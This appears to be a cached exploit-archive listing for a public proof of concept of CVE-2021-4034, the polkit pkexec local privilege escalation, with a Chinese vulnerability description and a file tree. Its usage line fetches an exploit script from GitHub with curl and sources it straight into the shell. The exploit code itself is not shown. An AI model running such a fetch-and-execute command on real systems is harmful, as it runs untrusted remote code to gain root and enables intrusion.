CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/azminawwar/CVE-2021-4034

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Description

CVE-2021-4034 in Bash Script

Readme

# CVE-2021-4034
CVE-2021-4034 in Bash Script

Usage:<br />
<br />
source <(curl -s https://raw.githubusercontent.com/azminawwar/CVE-2021-4034/main/exploit.sh)

File Snapshot


 [4.0K]  /data/pocs/535bc67048e5ed962b3bce60ddde68cd104f3f35
├── [ 58K]  exploit.sh
└── [ 159]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!